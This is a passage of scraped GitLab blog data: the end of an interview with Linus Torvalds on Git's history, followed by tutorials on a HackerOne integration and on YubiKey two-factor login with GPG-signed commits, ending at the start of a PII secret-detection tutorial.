Junio?**\n\nHanding over maintainership was not a hard choice. It was very much: \"The moment somebody else comes along that I can trust to keep it going, I'll go back to doing just the kernel.\"\n\nWhich is not to say that I just threw things over the wall and prayed for the best. I ended up maintaining Git for something like four months because I felt I needed to find somebody who would stick around, and had that hard-to-explain quality of \"GoodTaste\"(TM).\n\nJunio had been one of the very early people involved (he literally showed up the first week of development), but it's not like I just said, \"Tag, you're it.\"  It takes a while to see who sticks around, and who writes code and makes decisions that make sense.\n\nAnd I think Junio has been exemplary. I get much too much credit for the few months I spent on Git - particularly in light of the 20th anniversary. I'll take credit for getting the core design right, and getting the project started, but it really is Junio who has led the project (not to belittle the hundreds of other people involved, but still).\n\n**The initial version of the Mercurial version control system was released only 12 days after the initial version of Git, on April 19, 2005. Many people claim that Mercurial's user experience was superior over Git's, but nowadays Git is significantly more popular. Why do you think that Git has won over Mercurial?**\n\nOh, a big part of it is obviously just network effects, and SCMs have very strong network effects. It's why CVS survived as long as it did despite its limitations.\n\nSo, the fact that the kernel used Git (and then at some point it got to be very popular in the Ruby on Rails community, and then it took off everywhere).\n\nBut I really do think that the design of Git is superior. The core model is both very simple and very powerful, and I think that made it easier to translate into other environments. JGit was an early example of that, but you obviously have implementations like the MSgit virtual filesystem, etc.\n\nAnd while Git was famously somewhat hard to use early on, I really do think that some of that comes from having done things \"right,\" where people coming from other environments found Git non-intuitive because Git really did a few hard decisions that a traditional SCM person would never have done.\n\n**The Git project has not stood still since you handed maintainership over to Junio, and its community is always busy working on new features. What do you think the most important milestones were after you have left the project?**\n\nThat's really hard for me to say, mainly because I obviously made Git work for me, and so the things *I* use have worked from pretty much Day One. Just as an obvious example: Making Git work on Windows was obviously a huge step for other people, but it affected *me* not at all ;)\n\nThere's obviously all the infrastructure within Git itself to make it a lot easier to use, but I think most of the big milestones have all been around people taking the Git infrastructure and building things around it. Those often end up feeding back into Git features, of course, but, at the same time, the milestone is about something external.\n\nTo give an obvious example: All the big Git hosting sites were big milestones. Making Git be distributed was what made those so much easier to do, but the *milestone* was how then the hosting made it so easy for users to use Git for various projects.\n\n**If you had the capacity to work on Git full time again, would there be anything that you would like to implement?**\n\nAbsolutely not. Git did everything I really needed from very early on – my use is actually fairly limited, and I only really care about one project.\n\nAnd I say \"absolutely not\" because I refer you to that earlier answer: I was never really interested in SCMs at all to begin with. I think a large reason for why Git ended up being so different - mostly in good ways - from other SCMs was that I approached it more like I would a distributed journaling filesystem, not really a traditional SCM.\n\n**Is there any feature or design decision in Git that you have come to regret in retrospect?**\n\nDesign decisions? No. I still think the high-level design is just very good, and you can discuss various Git concepts without ever getting into the nitty-gritty complexity of actual implementation.\n\nAnd I think that's important in a project. You need a certain high-level design principle to guide the conceptual direction of a project.\n\nSometimes people take that too far, and think that the high-level design means that the implementation must then slavishly follow some core principle. And that's wrong, too – the *implementation* will have lots of nasty corner cases because reality is hard and people want odd things, but there needs to be some kind of top-level design that you can point to and reason about at a high level before you get your hands dirty with the nasty reality.\n\nAnd I think Git has a good balance of that. A very straightforward object store design (call them \"structured Merkle trees\" if you are a CS person, or you might just think of them as a \"content addressable storage\" if you are a filesystem person). That core design is there – but at the same time, it's realistically just a very tiny part of the actual code. Most of the *code* is about all the things you can do with the core design, but that basic clarity of design still gives the project some kind of high-level structure.\n\nIt's the same kind of high-level structure that Unix itself had, whether you said \"everything is a file\" or you were talking about process handling. There are a few \"concepts\" that drive the design, but then 99% of the code is about the ugly harsh details of what you build on top of that to make it all useful in the real world.\n\nI have two mantras in technology: \"If I have seen further, it is by standing on the shoulders of giants\" (Newton) and \"Genius is 1% inspiration and 99% perspiration\" (Edison).\n\nBut talking about the 99% perspiration: While I am very happy with the big design, there are certainly various details that I would have done differently if I were to do Git today.\n\nBut honestly, they aren't that important. What's much more important is all the *good* details that have been done over the last two decades.\n\n**The Linux kernel has started to use Rust as a programming language for some of its subsystems. Do you think it makes sense to start using such newer programming languages like this in Git?**\n\nI suspect that when it comes to Git, there's less reason to try to mix languages, which is always somewhat painful.\n\nIn the kernel, the end result is one single kernel binary – even if much of it can be loaded dynamically as modules, it is still linked together into effectively one single binary.\n\nAnd that makes using multiple languages more complex. But, on the other hand, the kernel also has more reason to worry about memory safety and, thus, look at newer languages.\n\nIn Git, if somebody wants to write parts of it in Rust or another language, I suspect it makes much more sense to just go for a separate implementation rather than try to mix languages in one binary.\n\nMuch of the Git core ideas are simple enough that just having parallel implementations of the core likely isn't too painful, and then you can target particular problem spaces where a different language makes more sense.\n\nAnd we've seen that in Git already, of course: That's exactly what JGit is. The use of a different language was due to a different web-based environment where that language choice was much more natural.\n\nI know that there are already Rust implementations of some of the core Git functionality, and I think the situation is similar: I suspect they make more sense in specific situations than in some kind of overall \"let's convert things to Rust\" kind of way.\n\nSo for anybody who is interested in implementing things in Rust, I'd suggest looking for target areas where the advantages of Rust are more obvious. I don't think C has actually been all that problematic in the standard Git source base.\n\n**New version control systems are popping up every couple of years. Do you think that Git will stay relevant in the future?**\n\nI already mentioned the network effects in SCMs, and I think that means that to replace Git you have to be not just slightly better, you have to be enormously better. Or so compatible that you effectively are just a new implementation of Git.\n\nAnd I do think the SCM situation has changed – Git doesn't have the kinds of huge gaping fundamental problems that SCMs had before Git. So being \"enormously better\" is fairly hard.\n\nSo, yes, I would expect Git to stay relevant for the foreseeable future, with people working on improvements *around* Git rather than replacements.\n\n*Note: This interview has been edited for length and clarity.*\n\n> Take a [journey with us through Git's 20-year history](https://about.gitlab.com/blog/journey-through-gits-20-year-history/).\n\n## Learn more about Git\n\n- [What's new in Git 2.49.0?](https://about.gitlab.com/blog/whats-new-in-git-2-49-0/)  \n- [What’s new in Git 2.48.0?](https://about.gitlab.com/blog/whats-new-in-git-2-48-0/)  \n- [A beginner's guide to the Git reftable format](https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/)\n- [Git project](https://git-scm.com/)",[815,1067],{"slug":1920,"featured":92,"template":678},"celebrating-gits-20th-anniversary-with-creator-linus-torvalds","content:en-us:blog:celebrating-gits-20th-anniversary-with-creator-linus-torvalds.yml","Celebrating Gits 20th Anniversary With Creator Linus Torvalds","en-us/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds.yml","en-us/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds",{"_path":1926,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1927,"content":1933,"config":1939,"_id":1941,"_type":16,"title":1942,"_source":17,"_file":1943,"_stem":1944,"_extension":20},"/en-us/blog/enhance-application-security-with-gitlab-hackerone",{"title":1928,"description":1929,"ogTitle":1928,"ogDescription":1929,"noIndex":6,"ogImage":1930,"ogUrl":1931,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1931,"schema":1932},"Enhance application security with GitLab + HackerOne","Learn about the GitLab + HackerOne partnership and how to easily implement an integration that improves your organization’s application security posture.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097503/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2810%29_5ET24Q6i8ihqrAOkge7a1R_1750097503214.png","https://about.gitlab.com/blog/enhance-application-security-with-gitlab-hackerone","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Enhance application security with GitLab + HackerOne\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-04-03\",\n      }",{"title":1928,"description":1929,"authors":1934,"heroImage":1930,"date":1935,"body":1936,"category":674,"tags":1937},[1622],"2025-04-03","Security can no longer be an afterthought in the development process. Organizations need robust solutions that integrate security throughout the entire software development lifecycle. This is where the partnership between HackerOne and GitLab creates a compelling combination for modern application development teams.\n\nGitLab, the comprehensive, AI-powered DevSecOps platform, and HackerOne, the leading crowd-sourced security platform, have established a partnership that brings together the best of both worlds: GitLab's streamlined DevSecOps workflow and HackerOne's powerful vulnerability management capabilities.\n\nIn this tutorial, you'll learn how to enhance developer productivity and your security posture by implementing HackerOne's GitLab integration.\n\n## An integration that empowers developers\n\nHackerOne's GitLab integration is remarkably straightforward, yet powerful. When security researchers discover vulnerabilities through HackerOne's platform, these findings are automatically converted into GitLab issues. This creates a seamless workflow where:\n\n* Security researchers identify vulnerabilities via HackerOne's platform  \n* Validated vulnerabilities are automatically converted into GitLab issues  \n* Development teams can address these issues directly within their existing workflow  \n* Resolution status is synchronized between both platforms\n\nYou can start leveraging the benefits of GitLab and HackerOne by using the [integration](https://docs.hackerone.com/en/articles/8571227-gitlab-integration) to track GitLab issues as references on HackerOne. This integration provides bi-directional and seamless data syncing between your HackerOne report and GitLab issues, improving alignment between development and security teams while streamlining security vulnerability processing.\n\nTo configure the GitLab integration to sync information between your HackerOne report and your Gitlab issue, follow the instructions provided in [HackerOne's GitLab integration documentation](https://docs.hackerone.com/en/articles/10394699-gitlab-setup), which includes:\n\n1. [Setting up an OAuth 2.0 application](https://docs.gitlab.com/ee/integration/oauth_provider.html) for your GitLab instance with the provided HackerOne settings  \n2. Connecting HackerOne to the newly created OAuth 2.0 on GitLab  \n3. Authorizing HackerOne to access the GitLab API  \n4. Configuring which GitLab project you would like to escalate HackerOne reports to  \n5. Selecting the HackerOne fields to map to corresponding GitLab fields  \n6. GitLab-to-HackerOne and HackerOne-to-GitLab event configuration\n\nOnce the integration is in place, you’ll be able to seamlessly sync data bi-directionally between both GitLab and HackerOne. This helps simplify context-switching and allows vulnerabilities to be tracked with ease throughout both systems. The integration allows for the following features:\n\n* **Creating a GitLab Issue from HackerOne:** You can create new GitLab issues for reports you receive on HackerOne.  \n* **Linking HackerOne reports to existing GitLab tasks.**   \n* **Syncing updates from HackerOne to GitLab:** The following updates on a report are synced as a comment to GitLab.  \n  * Report comments  \n  * State changes  \n  * Rewards  \n  * Assignee changes  \n  * Public disclosure  \n  * Close GitLab Issue  \n* **Syncing Updates from GitLab to HackerOne:** The following updates on GitLab will be reflected in HackerOne as an internal comment on the associated report:  \n  * Comments  \n  * State changes  \n* **HackerOne severity to GitLab label mapping**: Allows you to set a custom priority when escalating a report to GitLab.  \n* **Due date mapping:** Allows you to automatically set a custom due date based on the severity of a report.\n\n![GitLab + HackerOne adding comments or change the state of the report in GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/sync_aHR0cHM6_1750097509644.png)\n\nThese features improve alignment between development and security teams and streamlining security vulnerability processing. To learn more on how the integration works, see the [integration documentation](https://docs.hackerone.com/en/articles/8571227-gitlab-integration).\n\n## A look into HackerOne bug bounty programs\n\nHackerOne provides bug bounty programs or cybersecurity initiatives where rewards are offered for discovering and reporting vulnerabilities in customers’ software systems, websites, or applications. Bug bounty programs help enhance the security of an application by:\n\n* Identifying security flaws before malicious actors can exploit them  \n* Leveraging diverse expertise from a global community of security researchers  \n* Providing a cost-effective way to improve cybersecurity  \n* Complementing internal security efforts and traditional penetration testing\n\nGitLab utilizes HackerOne’s bug bounty program, allowing security researchers to report vulnerabilities in GitLab applications or infrastructure. This crowdsourced approach helps GitLab identify and address potential security issues more effectively.\n\n![HackerOne GitLab Bug Bounty page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/hackerone_gitlab_bug_bounty_page_aHR0cHM6_1750097509645.png)\n\nBy leveraging HackerOne's platform and the global hacker community, organizations can significantly enhance their security posture, identify vulnerabilities faster, and stay ahead of potential threats.\n\n## Secure applications and improve efficiency with GitLab \n\nGitLab provides a complete DevSecOps platform, which enables functionality for the complete software development lifecycle, including security and compliance tools. GitLab supports the following security scanner types:\n- Static Application Security Testing (SAST)\n- Dynamic Application Security Testing (DAST)\n- Container Scanning\n- Dependency Scanning\n- Infrastructure as Code Scanning\n- Coverage-guided Fuzzing\n- Web API Fuzzing\n\nWith GitLab, you can add security scanning by simply applying a template to your CI/CD pipeline definition file. For example, enabling SAST just takes a few lines of code in the `.gitlab-ci.yml`:\n\n```yaml\nstage:\n  - test\n\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n```\n\nThis will run SAST on the test stage, and [auto-detect the languages used](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) in your application. Then, whenever you create a merge request, SAST will detect the vulnerabilities in the diff between the feature branch and the target branch and provide relevant data on each vulnerability to assist with remediation.\n\n![NoSQL injection vulnerability seen in MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/no_sql_injection_vulnerability_mr_view_aHR0cHM6_1750097509647.png)\n\nThe results of the SAST scanner can block code from being merged if security policies are applied. Native GitLab users can be set as approvers, allowing required reviews before merging insecure code. This assures that all vulnerabilities have oversight from the appropriate parties.\n\n![Merge request approval policy](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/merge_request_approval_policy_aHR0cHM6_1750097509649.png)\n\nHackerOne has integrated GitLab into its operations and development processes in several significant ways, which have led to development process improvements and enhanced scalability and collaboration. These improvements include faster deployments and cross-team planning.\n\n## Key benefits of HackerOne's GitLab integration\n\nThe key benefits of using HackerOne and GitLab together include:\n\n* **Enhanced security visibility:** Development teams gain immediate visibility into security vulnerabilities without leaving their primary workflow environment. This real-time awareness helps teams prioritize security issues alongside feature development.  \n* **Streamlined remediation process:** By converting HackerOne reports directly into GitLab issues, the remediation process becomes part of the standard development cycle. This eliminates context switching between platforms and ensures security fixes are tracked alongside other development work.  \n* **Accelerated time to fix:** The integration significantly reduces the time between vulnerability discovery and resolution. With HackerOne submissions immediately available in GitLab, development teams can begin working on fixes without delay, improving overall security posture.  \n* **Improved collaboration:** Security researchers, security teams, and developers can communicate more effectively through this integration. Comments and updates flow between both platforms, creating a collaborative environment focused on improving security.  \n* **Real-world impact:** Organizations implementing the HackerOne and GitLab integration have reported:  \n  * Up to 70% reduction in time from vulnerability discovery to fix  \n  * Improved developer satisfaction by keeping them in their preferred workflow  \n  * Enhanced security visibility across the organization  \n  * More effective allocation of security resources\n\n> To get started today, visit [the integration setup page](https://docs.hackerone.com/en/articles/10394699-gitlab-setup) today.\n\n## Learn more\n\nTo learn more about GitLab and HackerOne, and how we can help enhance your security posture, check out the following resources:\n* [HackerOne's GitLab Integration Usage](https://docs.hackerone.com/en/articles/8571227-gitlab-integration)  \n* [HackerOne GitLab Bug Bounty Program](https://hackerone.com/gitlab?type=team)\n* [GitLab Security and Compliance Solutions](https://about.gitlab.com/solutions/security-compliance/)  \n* [HackerOne achieves 5x faster deployments with GitLab’s integrated security](https://about.gitlab.com/customers/hackerone/)  \n* [GitLab Application Security Documentation](https://docs.gitlab.com/ee/user/application_security/)\n",[674,696,232,282,479,943,1938],"bug bounty",{"slug":1940,"featured":6,"template":678},"enhance-application-security-with-gitlab-hackerone","content:en-us:blog:enhance-application-security-with-gitlab-hackerone.yml","Enhance Application Security With Gitlab Hackerone","en-us/blog/enhance-application-security-with-gitlab-hackerone.yml","en-us/blog/enhance-application-security-with-gitlab-hackerone",{"_path":1946,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1947,"content":1953,"config":1959,"_id":1962,"_type":16,"title":1963,"_source":17,"_file":1964,"_stem":1965,"_extension":20},"/en-us/blog/gitlab-patch-release-17-9-5",{"title":1948,"description":1949,"ogTitle":1948,"ogDescription":1949,"config":1950,"ogImage":831,"ogUrl":1951,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1951,"schema":1952},"GitLab Patch Release 17.9.5","Learn about this patch release for GitLab Community Edition and Enterprise Edition.",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-9-5","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release 17.9.5\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mayra Cabrera\"}],\n        \"datePublished\": \"2025-04-02\",\n      }",{"title":1948,"description":1949,"authors":1954,"heroImage":831,"date":1956,"body":1957,"category":695,"tags":1958},[1955],"Mayra Cabrera","2025-04-02","This is the [17.9.5 patch release](https://about.gitlab.com/releases/2025/04/02/gitlab-17-9-5-released/) for GitLab Community Edition and Enterprise Edition.",[716],{"slug":1960,"featured":6,"template":678,"externalUrl":1961},"gitlab-patch-release-17-9-5","https://about.gitlab.com/releases/2025/04/02/gitlab-17-9-5-released/","content:en-us:blog:gitlab-patch-release-17-9-5.yml","Gitlab Patch Release 17 9 5","en-us/blog/gitlab-patch-release-17-9-5.yml","en-us/blog/gitlab-patch-release-17-9-5",{"_path":1967,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1968,"content":1974,"config":1978,"_id":1980,"_type":16,"title":1981,"_source":17,"_file":1982,"_stem":1983,"_extension":20},"/en-us/blog/secure-and-safe-login-and-commits-with-gitlab-yubico",{"title":1969,"description":1970,"ogTitle":1969,"ogDescription":1970,"noIndex":6,"ogImage":1971,"ogUrl":1972,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1972,"schema":1973},"Secure and safe login and commits with GitLab + Yubico","Learn how GitLab and Yubico have partnered to strengthen software development security through robust authentication measures.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663259/Blog/Hero%20Images/REFERENCE_-_display_preview_for_blog_images__3_.png","https://about.gitlab.com/blog/secure-and-safe-login-and-commits-with-gitlab-yubico","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Secure and safe login and commits with GitLab + Yubico\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-04-02\",\n      }",{"title":1969,"description":1970,"authors":1975,"heroImage":1971,"date":1956,"body":1976,"category":674,"tags":1977},[1622],"We live in a time where data breaches and phishing attacks make daily headlines. These breaches can cause harm to an organization, such as regulatory fines, business downtime, or even worse, reputational damage. In terms of authentication, passwords have been the backbone of online security for decades, however, they're increasingly proving inadequate against sophisticated cyber threats.\n\nGitLab and [Yubico](https://www.yubico.com/) have partnered to strengthen software development security through robust authentication measures. Yubico is the inventor of the YubiKey, a hardware security key that delivers phishing-resistant multi-factor authentication (MFA). By implementing FIDO Universal 2nd Factor (U2F) and YubiKey hardware protection, GitLab offers developers a powerful defense against phishing attacks and other cyber threats, ensuring their code and projects remain secure. This collaboration expands enterprise-grade authentication in the GitLab platform, allowing programmers to focus on creating software while maintaining confidence in their account's integrity.\n\nThis article explains how to configure GitLab to use YubiKeys to protect developers from online threats. You’ll also learn how to further prevent tampering with GitLab verified commits.\n\n## How YubiKeys work\n\nAt their core, YubiKeys function as cryptographic hardware tokens that generate and store private keys in a secure element. These keys implement FIDO2/WebAuthn authentication protocols, which can be used as an additional factor to login to GitLab.\n\nHere's how it works when logging in:\n\n1. You enter your username and password.  \n2. GitLab sends a cryptographic challenge to your browser.  \n3. Your browser requests the YubiKey to sign this challenge.  \n4. You physically touch the YubiKey to approve.\n5. The YubiKey creates a unique cryptographic signature for that specific service and challenge.  \n6. GitLab verifies the signature using your public key stored during setup.\n\nMost major security breaches involve compromised passwords. Adding a YubiKey secures your account from a remote breach, even if your password is stolen, so you can rest assured that your GitLab account is secure. Additional key security benefits of using YubiKey for authentication with GitLab include:\n\n* **Phishing protection:** Fake sites won't have the correct cryptographic keys to verify the response. \n* **No secrets to steal:** The private key never leaves the YubiKey.  \n* **Physical security:** Physical presence is required to use it (you must touch the YubiKey).\n\n## Setting up YubiKey multifactor authentication in GitLab\n\nNow let’s go over how to set up a Yubikey for multifactor authentication in GitLab. Make sure you're using a [supported browser and operating system](https://support.yubico.com/hc/en-us/articles/360016615020-Operating-system-and-web-browser-support-for-FIDO2-and-U2F) as they have better WebAuthn support for hardware security keys.\n\n1. First, log in to your GitLab account and go to your user settings (click your avatar in the top left corner and select **Preferences**). \n2. In the left sidebar, click on **Account** and navigate to the **Two-factor Authentication** section.\n3. If you haven't already enabled 2FA, you'll need to do that first.\n\n    a. Click **Enable two-factor authentication**.\n\n    b. Scan the QR code with your authenticator app.\n\n    c. Enter the code from your authenticator app.\n\n    d. Enter your GitLab password. If you ever need to access your GitLab account without using Google authentication, you may need to:\n    * Use the **Forgot password** option on the GitLab login page to set up a separate GitLab password.\n    * Contact your GitLab administrator to help you set up alternative login methods.\n\n   e. Save your recovery codes in a safe place.\n\n4. Once 2FA is enabled, go back to the previous screen by pressing **Manage two-factor authentication** and scroll down to the **Register hardware token** section.  \n5. Press the **Set up new device** button.  \n    a. A popup from your browser should appear. **Note:** This image may look different depending on your browser. You may also get popups from password managers feel free to ignore them. \n\n![Browser (Brave) Auth Request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674606/Blog/Content%20Images/browser_auth_request.png)\n\n&nbsp; &nbsp; b. Select **Use a phone, tablet, or security key**.\n\n6. A new popup will appear.\n\n![browser security key request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674607/Blog/Content%20Images/browser_security_key_request.png)\n\n&nbsp; &nbsp; a. Insert your YubiKey into your computer's USB port.\n\n&nbsp; &nbsp; b. Touch the metal contact/button on your YubiKey when prompted. The field will automatically fill with a one-time code.\n\n7. Enter your GitLab Password and provide a name for your Hardware Key.  \n8. Click **Register** to add the YubiKey to your account.\n\nCongratulations, your YubiKey is now registered and can be used as a second factor when logging into GitLab! You can register multiple YubiKeys to your account for backup purposes. **Note:** The process may vary slightly among browsers.\n\n![yubikey registered](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674607/Blog/Content%20Images/yubikey_registered.png)\n\n\u003Ccenter>\u003Ci>YubiKey registered successfully\u003C/i>\u003C/center>\n\n## Signing in with a YubiKey\n\nNow that we have our YubiKey configured, we can log in as follows:\n\n1. Go to GitLab.com.\n\n![GitLab login](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674607/Blog/Content%20Images/gitlab_login.png)\n\n2. Provide your username and password and then press the **Sign in** button.\n3. You will be sent to the following screen.\n\n![GitLab 2fa login](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674606/Blog/Content%20Images/2fa_login.png)\n\n&nbsp; &nbsp; a. A popup, like the one below, should come up. **Note:** This image may look different depending on your browser. You may also get popups from password managers; feel free to ignore them.\n\n![Browser security key request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674607/Blog/Content%20Images/browser_security_key_request.png)\n\n&nbsp; &nbsp; b. Insert your YubiKey into your computer's USB port.\n\n&nbsp; &nbsp; c. Touch the metal contact/button on your YubiKey when prompted. The field will automatically fill with a one-time code.\n\nNow, you should be logged in and taken to your GitLab page. **Note:** The process may vary slightly among browsers.\n\n## What happens if I lose my YubiKey?\n\nYubico recommends that you use and keep a backup YubiKey. When considering your home, car, or office, you wouldn’t think twice about having a backup key to keep in a safe place. Your digital self should get the same level of consideration. A backup YubiKey kept in a safe place provides a quick and safe backup if your primary YubiKey is lost. Keeping a backup will also easily enable you to deactivate the lost YubiKey and add a new primary or secondary YubiKey.\n\nIf you do not have an additional YubiKey added, it is recommended to have another form of 2FA added to your accounts. In either case, you should be able to get access to your account and remove the lost key from the account. Please note that if a spare key or another authentication method hasn’t been added, you will need to contact the service/website for help with recovering your account.\n\n## GitLab verified commits\n\nTo further prevent tampering, you can also configure verified commits. Verified commits in GitLab use GPG (GNU Privacy Guard) signatures to prove that a commit actually came from you. This adds another layer of security on top of authentication by ensuring that not only is your account secure, but every code change can be cryptographically verified as coming from you.\n\nYour YubiKey can store GPG keys:\n\n* The private key is stored securely on the YubiKey.  \n* The public key is shared with GitLab.\n* The key pair is used to sign your commits.\n\nOnce the GPG keys have been set up:\n\n* When you make a commit, Git uses your private key to create a signature.  \n* The GPG key is accessed from the attached YubiKey.  \n* The signature is stored with the commit metadata.  \n* GitLab verifies the signature using your public key.\n\n## Setting up verified commits\n\nLet’s go over how to configure verified commits. In this example, the GPG key will live inside your YubiKey, providing an extra layer of security.\n\n1. Install required software.\n\n```bash\n# On macOS\nbrew install --cask yubico-yubikey-manager\nbrew install gnupg gpg yubikey-manager\n\n# On Ubuntu/Debian\nsudo apt install gnupg gpg yubikey-personalization\n\n# On Windows\n# Download and install Gpg4win from https://gpg4win.org\n```\n\n2. Check YubiKey GPG status.\n\n```bash\ngpg --card-status\n```\n3. Generate GPG keys directly on YubiKey (more secure).\n\n```bash\n# Start GPG edit mode\ngpg --card-edit\n\n# Enter admin mode\nadmin\n\n# Generate key directly on card\n# PIN = '123456' | Admin PIN = '12345678'\ngenerate\n\n# Follow prompts\n# See documentation for more info \n# https://support.yubico.com/hc/en-us/articles/360013790259-Using-Your-YubiKey-with-OpenPGP\n```\n\n4. Export your public key.\n\n```bash\n# Get your key ID\ngpg --list-secret-keys --keyid-format LONG\n\n# Export the public key\ngpg --armor --export YOUR_KEY_ID\n```\n\n5. Add the public key to GitLab.\n\n    a. Click on your GitLab Avatar and select **Preferences**.\n\n    b. On the side tab select **GPG Keys**.\n\n    c. Click **Add new key**.\n\n    d. Paste your public key.\n\n    e. Click **Add key**.\n\n6. Configure Git.\n\n```bash\n# Set signing key\ngit config --global user.signingkey YOUR_KEY_ID\n\n# Enable automatic signing\ngit config --global commit.gpgsign true\n\n# Tell GPG which key to use\necho \"default-key YOUR_KEY_ID\" >> ~/.gnupg/gpg.conf\n```\n\n7. Now let’s test the configuration by creating a test commit in a project:\n\n```bash\n# Make a change in the project\n# Add changes\ngit add .\n\n# Make a test commit\ngit commit -S -m \"Test signed commit\"\n\n# Verify signature\ngit verify-commit HEAD\n\n# Push the change\ngit push\n```\n\nThe `git verify-commit HEAD` command should show the GPG key used:\n\n```bash\ngpg: Signature made Wed Feb 26 11:45:00 2025 CST\ngpg:                using RSA key YOUR_KEY_ID\ngpg: Good signature from “NAME (DESCRIPTION) \u003CEMAIL>\" [ultimate]\n```\n\nThen, when viewing the commit in GitLab, you should now see that the commit is verified as follows:\n\n![Commit is verified](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674607/Blog/Content%20Images/verified.png)\n\n\u003Ccenter>\u003Ci>Commit verified with GPG key\u003C/i>\u003C/center>\n\u003Cbr>\u003C/br>\n\nYou can also use the [commits API](https://docs.gitlab.com/api/commits/#get-signature-of-a-commit) to check a commit’s signature allowing you to further operationalize the verification workflow.\n\n## Learn more\n\nTo learn more about GitLab, Yubico, and the solutions each provides, check out these resources:\n\n* [Why GitLab](https://about.gitlab.com/why-gitlab/)  \n* [Why Yubico](https://www.yubico.com/why-yubico/)  \n* [GitLab Security and Compliance Solutions](https://about.gitlab.com/solutions/security-compliance/)  \n* [GitLab listing in the \"Works with YubiKey\" catalog](https://www.yubico.com/works-with-yubikey/catalog/gitlab/)  \n* [Verified Commits - GitLab documentation](https://docs.gitlab.com/ee/user/project/repository/signed_commits/)  \n* [Push Rules in GitLab](https://docs.gitlab.com/user/project/repository/push_rules/)  \n* [Sign Commit with GPG Keys documentation](https://docs.gitlab.com/user/project/repository/signed_commits/gpg/)\n",[232,674,696,479,695,754],{"slug":1979,"featured":92,"template":678},"secure-and-safe-login-and-commits-with-gitlab-yubico","content:en-us:blog:secure-and-safe-login-and-commits-with-gitlab-yubico.yml","Secure And Safe Login And Commits With Gitlab Yubico","en-us/blog/secure-and-safe-login-and-commits-with-gitlab-yubico.yml","en-us/blog/secure-and-safe-login-and-commits-with-gitlab-yubico",{"_path":1985,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1986,"content":1991,"config":1996,"_id":1998,"_type":16,"title":1999,"_source":17,"_file":2000,"_stem":2001,"_extension":20},"/en-us/blog/enhance-data-security-with-custom-pii-detection-rulesets",{"title":1987,"description":1988,"ogTitle":1987,"ogDescription":1988,"noIndex":6,"ogImage":692,"ogUrl":1989,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1989,"schema":1990},"Strengthen data security with custom PII detection rulesets","This tutorial explains how GitLab's customizable Secret Detection rulesets enhance data security by identifying PII patterns in code repositories. Learn how AI can help.","https://about.gitlab.com/blog/enhance-data-security-with-custom-pii-detection-rulesets","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Strengthen data security with custom PII detection rulesets\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-04-01\",\n      }",{"title":1987,"description":1988,"authors":1992,"heroImage":692,"date":1993,"body":1994,"category":674,"tags":1995},[1622],"2025-04-01","Protecting sensitive information is more critical than ever. GitLab's Secret Detection feature provides a powerful solution to identify and prevent the exposure of sensitive data. This tutorial explores how GitLab Secret Detection works, how to create custom rulesets for finding personally identifiable information, and how GitLab Duo Chat can streamline the creation of regex patterns for PII detection.\n\n## Understanding GitLab Secret Detection\n\n[GitLab Secret Detection](https://docs.gitlab.com/user/application_security/secret_detection/) is a security scanning feature integrated into the GitLab CI/CD pipeline. It automatically scans your codebase to identify hardcoded secrets, credentials, and other sensitive information that shouldn't be stored in your repository.\n\n### Key benefits\n\n* **Data breach prevention** detects secrets before they're committed to your repository.  \n* **Automated scanning** runs as part of your CI/CD pipeline without manual intervention.  \n* **Customizable rules** extend detection capabilities with custom patterns.  \n* **Compliance support** helps meet regulatory requirements like GDPR, HIPAA, and the California Privacy Protection Act.\n\n## Create custom rulesets for PII detection\n\nWhile GitLab's default secret detection covers common secrets like API keys and passwords, you may need custom rules to identify specific types of PII relevant to your organization. \n\nTo get started, create a new GitLab project and follow the steps below. You can follow along and see usage examples in our [PII Demo Application](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/secret-scanning/pii-data-ruleset).\n\n**Step 1: Set up Secret Detection**\n\nEnsure Secret Detection is enabled in your `.gitlab-ci.yml` file:\n\n```\ninclude:\n  - template: Security/Secret-Detection.gitlab-ci.yml\n\nsecret_detection:\n  variables:\n    